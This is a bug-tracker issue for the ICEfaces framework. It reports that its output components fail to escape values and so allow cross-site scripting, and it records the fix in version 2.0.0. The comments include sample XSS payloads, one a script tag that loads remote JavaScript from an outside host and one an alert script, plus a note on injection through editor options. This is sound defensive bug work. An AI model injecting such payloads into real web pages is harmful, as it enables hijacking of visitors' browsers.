ICEfaces
  1. ICEfaces
  2. ICE-5854

Output components don't escape JavaScript

    Details

    • Type: Bug Bug
    • Status: Closed
    • Priority: Major Major
    • Resolution: Fixed
    • Affects Version/s: 1.8.2-EE-GA_P01, 2.0-Beta2
    • Fix Version/s: 2.0.0
    • Component/s: Framework, ICE-Components
    • Labels:
      None
    • Environment:
      All
    • Workaround Exists:
      Yes
    • Workaround Description:
      Hide
      Escape the value before passing it in:

      import com.icesoft.faces.util.DOMUtils;

      escaped = DOMUtils.escapeAnsi(value);
      Show
      Escape the value before passing it in: import com.icesoft.faces.util.DOMUtils; escaped = DOMUtils.escapeAnsi(value);

      Description

      The ICEfaces output component are not escaped by default which makes them vulnerable to cross site scripting attacks. The <ice:outputText> uses the escape attribute but the other output components do not (ex: <ice:selectOneMenu/>). Doing a test in a pure JSF application reveals that the JSF framework by default filters/escapes JavaScript by default.

        Activity

        Hide
        Arran Mccullough added a comment -

        Case9225Example.war = JSF example

        Show
        Arran Mccullough added a comment - Case9225Example.war = JSF example
        Hide
        Arran Mccullough added a comment -

        Case9225Example.war = ICEfaces example

        Show
        Arran Mccullough added a comment - Case9225Example.war = ICEfaces example
        Hide
        Arran Mccullough added a comment -

        Project source code

        Show
        Arran Mccullough added a comment - Project source code
        Hide
        Arran Mccullough added a comment -

        Sample cross site script:
        "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>";

        Show
        Arran Mccullough added a comment - Sample cross site script: "<SCRIPT SRC= http://ha.ckers.org/xss.js ></SCRIPT>";
        Hide
        Greg Dick added a comment -

        The attached cases are built for glassfish.

        Show
        Greg Dick added a comment - The attached cases are built for glassfish.
        Hide
        Ted Goddard added a comment -

        It may be possible to use DOM userData to indicate whether a given text node should be escaped on output or not.

        Show
        Ted Goddard added a comment - It may be possible to use DOM userData to indicate whether a given text node should be escaped on output or not.
        Hide
        Mark Collette added a comment -

        We could add a method to DOMUtils, which would check a context param, and then conditionally call DOMUtils.escapeAnsi. In ICEfaces 1.8.2, the default would be to not escape, and in ICEfaces 2, the default would be to do escaping. In either release, escaping can be enabled or disabled. Then, all of the DOM API compat components, that erroneously do not do escaping, would be modified to use this new method. We would just search for the DOM API usage where text nodes are created, and add this, where appropriate. That way backwards compatibility can be preserved, and security enhanced (mutually exclusively).

        Show
        Mark Collette added a comment - We could add a method to DOMUtils, which would check a context param, and then conditionally call DOMUtils.escapeAnsi . In ICEfaces 1.8.2, the default would be to not escape, and in ICEfaces 2, the default would be to do escaping. In either release, escaping can be enabled or disabled. Then, all of the DOM API compat components, that erroneously do not do escaping, would be modified to use this new method. We would just search for the DOM API usage where text nodes are created, and add this, where appropriate. That way backwards compatibility can be preserved, and security enhanced (mutually exclusively).
        Hide
        Ken Fyten added a comment -

        Customer comment/suggestion:

        Created By: Markus Günther (07/07/2010 1:07 AM)
        Hi, in the meantime we have added explicit filtering of the input and output in all getter and setters of the application. Of course it would be helpful if such a task is treated by the library as it is general stuff which must be applied to almost all GUI input and output controls.

        We 've implemented this by usage of the official OWASP ESAPI library which is common availalbe and does this job. I would recommend IceFaces to add such functionality in a future release as this is more and more a very hot issue for web applications and most developers are not aware of that. So it is a big plus using the library (eg. only for IceFacesEE users .

        See: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

        Please let me know once you have a decision how you proceed with this security issue.

        Show
        Ken Fyten added a comment - Customer comment/suggestion: Created By: Markus Günther (07/07/2010 1:07 AM) Hi, in the meantime we have added explicit filtering of the input and output in all getter and setters of the application. Of course it would be helpful if such a task is treated by the library as it is general stuff which must be applied to almost all GUI input and output controls. We 've implemented this by usage of the official OWASP ESAPI library which is common availalbe and does this job. I would recommend IceFaces to add such functionality in a future release as this is more and more a very hot issue for web applications and most developers are not aware of that. So it is a big plus using the library (eg. only for IceFacesEE users . See: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API Please let me know once you have a decision how you proceed with this security issue.
        Hide
        Ted Goddard added a comment -

        Investigate compat to determine if the concern remains with ICEfaces 2.0.

        Show
        Ted Goddard added a comment - Investigate compat to determine if the concern remains with ICEfaces 2.0.
        Hide
        Ted Goddard added a comment -

        Verified problem to still be present with ICEfaces 2.0 compat.

        For instance, the following string will result in script execution when set on the selectOne:

        <script>alert('hello')</script>

        Show
        Ted Goddard added a comment - Verified problem to still be present with ICEfaces 2.0 compat. For instance, the following string will result in script execution when set on the selectOne: <script>alert('hello')</script>
        Hide
        Ted Goddard added a comment -

        Attached file can be unzipped in component-showcase expanded directory to reproduce the problem.

        Show
        Ted Goddard added a comment - Attached file can be unzipped in component-showcase expanded directory to reproduce the problem.
        Hide
        Ted Goddard added a comment -

        Code from compat/core/src/main/java/com/icesoft/faces/renderkit/dom_html_basic/MenuRenderer.java

        Text labelNode = doc.createTextNode(label == null ? valueString : label);

        A DOM Text object is created directly from the component valueString. Most calls to createTextNode are invoked via domContext.createTextNode(), many are of the form

        domContext.getDocument().createTextNode(detail);

        The legacy DOMContext API could be modified to perform escaping and the few remaining cases that operate on the DOM directly could be replaced with DOMContext versions.

        Show
        Ted Goddard added a comment - Code from compat/core/src/main/java/com/icesoft/faces/renderkit/dom_html_basic/MenuRenderer.java Text labelNode = doc.createTextNode(label == null ? valueString : label); A DOM Text object is created directly from the component valueString. Most calls to createTextNode are invoked via domContext.createTextNode(), many are of the form domContext.getDocument().createTextNode(detail); The legacy DOMContext API could be modified to perform escaping and the few remaining cases that operate on the DOM directly could be replaced with DOMContext versions.
        Hide
        Ted Goddard added a comment -

        Compat components have been modified to use createTextNodeUnescaped only when necessary. Note that there are possible script injection attacks through some of the scripts generated by components, for instance:

        Ice.FCKeditor.register ('iceform:iceInpRchTxt', new Ice.FCKeditor('iceform:iceInpRchTxt', 'en', '', '/component-showcase/icefaces/resource/LTQ5MTYyMDg1Mw==/','600', '275', 'Default', 'null', 'silver'))

        The 'null' in the above consists of options passed to the editor component. If these options are dynamically generated from user input, there is the possibility of script injection attacks.

        Show
        Ted Goddard added a comment - Compat components have been modified to use createTextNodeUnescaped only when necessary. Note that there are possible script injection attacks through some of the scripts generated by components, for instance: Ice.FCKeditor.register ('iceform:iceInpRchTxt', new Ice.FCKeditor('iceform:iceInpRchTxt', 'en', '', '/component-showcase/icefaces/resource/LTQ5MTYyMDg1Mw==/','600', '275', 'Default', 'null', 'silver')) The 'null' in the above consists of options passed to the editor component. If these options are dynamically generated from user input, there is the possibility of script injection attacks.
        Hide
        Ted Goddard added a comment -

        The fix was not overly complex and could be back-ported to ICEfaces 1.8 if required.

        Show
        Ted Goddard added a comment - The fix was not overly complex and could be back-ported to ICEfaces 1.8 if required.

          People

          • Assignee:
            Ted Goddard
            Reporter:
            Arran Mccullough
          • Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

            Dates

            • Created:
              Updated:
              Resolved: